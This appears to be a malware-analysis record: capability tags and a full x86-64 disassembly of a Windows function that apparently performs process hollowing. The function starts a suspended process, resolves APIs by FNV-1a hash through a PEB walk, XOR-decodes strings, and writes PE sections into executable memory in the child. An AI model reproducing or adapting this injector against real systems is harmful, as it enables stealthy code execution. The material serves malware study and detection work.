Function at 0x140001000
Capabilities:
Access peb ldr_data
Create process on windows
Create process suspended
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x528]
sub rsp, 0x628
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
xorps xmm0, xmm0
lea rcx, [rbp - 0x50]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp + 0x4e0], rax
movups xmmword [rbp + 0x480], xmm0
mov qword [rbp - 0x60], rax
movups xmmword [rbp + 0x490], xmm0
movups xmmword [rbp + 0x4a0], xmm0
movups xmmword [rbp + 0x4b0], xmm0
movups xmmword [rbp + 0x4c0], xmm0
movups xmmword [rbp + 0x4d0], xmm0
movups xmmword [rbp - 0x70], xmm0
call sub.VCRUNTIME140.dll_memset
xor r12d, r12d
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [0x140003260]
lea rax, [rbp + 0x480]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r12
xor edx, edx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400019c9
mov qword [rsp + 0x640], rbx
mov qword [rsp + 0x648], rsi
mov dword [rbp - 0x20], 0x10000b
mov rax, qword gs:[0x60]
mov qword [rsp + 0x650], rdi
mov qword [rsp + 0x620], r13
lea r13, [0x140005080]
mov qword [rsp + 0x618], r14
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x610], r15
movsxd r15, dword [0x1400050bc]
add r15, r13
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001197
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001197
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001192
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140001170
cmp r8d, 0x85cca27e
je 0x14000119c
test r9d, r9d
jne 0x140001150
mov rax, qword [rax]
jmp 0x140001120
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 0x50]
mov rcx, qword [rbp - 0x68]
add rax, r10
call rax
mov rdx, qword [rbp + 0x38]
lea r8, [rbp - 0x58]
mov rcx, qword [rbp - 0x70]
add rdx, 0x10
mov r9d, 8
mov qword [rbp - 0x58], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [0x1400032c9], r12b
movsd xmm0, qword [str.__QZ_]
movzx eax, word [0x1400032c8]
movsd qword [rsp + 0x50], xmm0
mov word [rsp + 0x58], ax
je 0x140001237
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor byte [rsp + 0x54], 0x37
xor byte [rsp + 0x55], 0x38
xor byte [rsp + 0x56], 0x39
xor byte [rsp + 0x57], 0x3a
xor byte [rsp + 0x58], 0x3b
xor byte [rsp + 0x59], 0x3c
mov byte [rsp + 0x50], 0x6e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400012c7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400012c7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400012c2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400012a0
cmp r8d, 0xe463da3c
je 0x1400012cc
test r9d, r9d
jne 0x140001280
mov rax, qword [rax]
jmp 0x140001250
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x50]
add rax, r10
call rax
cmp dword [0x140005058], 2
mov rsi, rax
mov ecx, dword [0x1400032b8]
mov r8d, r12d
movups xmm0, xmmword [str.__XZYIlRYJqY]
mov dword [rsp + 0x70], ecx
movzx ecx, byte [0x1400032bc]
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x74], cl
jl 0x140001451
movdqa xmm0, xmmword [0x140003300]
lea rcx, [rsp + 0x64]
movdqa xmm4, xmmword [0x1400032d0]
movdqa xmm3, xmmword [0x140003310]
movdqa xmm5, xmmword [str.5555]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movaps xmmword [rsp + 0x600], xmm6
movdqa xmm6, xmmword [0x1400032f0]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140001360
movaps xmm6, xmmword [rsp + 0x600]
cmp r8d, 0x15
jge 0x140001491
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140001460
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001527
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001527
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001522
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140001500
cmp r8d, 0xf8f45725
je 0x14000152c
test r9d, r9d
jne 0x1400014e0
mov rax, qword [rax]
jmp 0x1400014b0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rsp + 0x60]
add rax, r10
mov rcx, rsi
call rax
mov rdx, qword [rbp - 0x58]
cmp rdx, qword [r15 + 0x30]
jne 0x14000155d
mov rcx, qword [rbp - 0x70]
call rax
mov rax, qword gs:[0x60]
mov rsi, qword [r15 + 0x30]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400015f7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400015f7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400015f2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400015d0
cmp r8d, 0xaeb6049c
je 0x1400015fc
test r9d, r9d
jne 0x1400015b0
mov rax, qword [rax]
jmp 0x140001580
mov ecx, dword [rdi + 0x24]
mov rdx, rsi
add rcx, r10
mov dword [rsp + 0x20], 0x40
movzx r8d, word [rcx + r9*2]
mov r9d, 0x3000
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov r8d, dword [r15 + 0x50]
add rax, r10
mov rcx, qword [rbp - 0x70]
call rax
mov r9d, dword [r15 + 0x54]
mov r8, r13
mov rcx, qword [rbp - 0x70]
mov rdx, rax
mov rsi, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ebx, word [r15 + 0x14]
mov edi, r12d
add rbx, 0x2c
cmp r12w, word [r15 + 6]
jae 0x14000169e
add rbx, r15
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [rbx]
mov edx, dword [rbx - 8]
add r8, r13
mov r9d, dword [rbx - 4]
add rdx, rsi
mov rcx, qword [rbp - 0x70]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [r15 + 6]
lea rbx, [rbx + 0x28]
inc edi
cmp edi, eax
jl 0x140001670
mov rdx, qword [rbp + 0x38]
lea r8, [r15 + 0x30]
mov rcx, qword [rbp - 0x70]
add rdx, 0x10
mov dword [rbp - 0x20], 0x10000b
mov r9d, 8
mov eax, dword [r15 + 0x28]
add rax, rsi
mov qword [rsp + 0x20], r12
mov qword [rbp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword gs:[0x60]
mov r15, qword [rsp + 0x610]
mov r14, qword [rsp + 0x618]
mov rsi, qword [rsp + 0x648]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001777
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001777
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001772
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140001750
cmp r8d, 0x6ed04712
je 0x14000177c
test r9d, r9d
jne 0x140001730
mov rax, qword [rax]
jmp 0x140001700
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 0x50]
mov rcx, qword [rbp - 0x68]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001827
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001827
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001822
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140001800
cmp r8d, 0xbb21e02e
je 0x14000182c
test r9d, r9d
jne 0x1400017e0
mov rax, qword [rax]
jmp 0x1400017b0
mov edx, dword [rdi + 0x24]
mov rcx, qword [rbp - 0x68]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
call rax
mov rcx, r13
call fcn.140001a30
mov rax, qword gs:[0x60]
mov r13, qword [rsp + 0x620]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400018e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400018e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400018e2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400018c0
cmp r8d, 0xfaba0065
je 0x1400018ec
test r9d, r9d
jne 0x1400018a0
mov rax, qword [rax]
jmp 0x140001870
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, qword [rbp - 0x68]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001997
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001997
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140001992
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140001970
cmp r8d, 0xfaba0065
je 0x14000199c
test r9d, r9d
jne 0x140001950
mov rax, qword [rax]
jmp 0x140001920
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, qword [rbp - 0x70]
add rax, r10
call rax
mov rdi, qword [rsp + 0x650]
mov rbx, qword [rsp + 0x640]
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.140001a10
add rsp, 0x628
pop r12
pop rbp
ret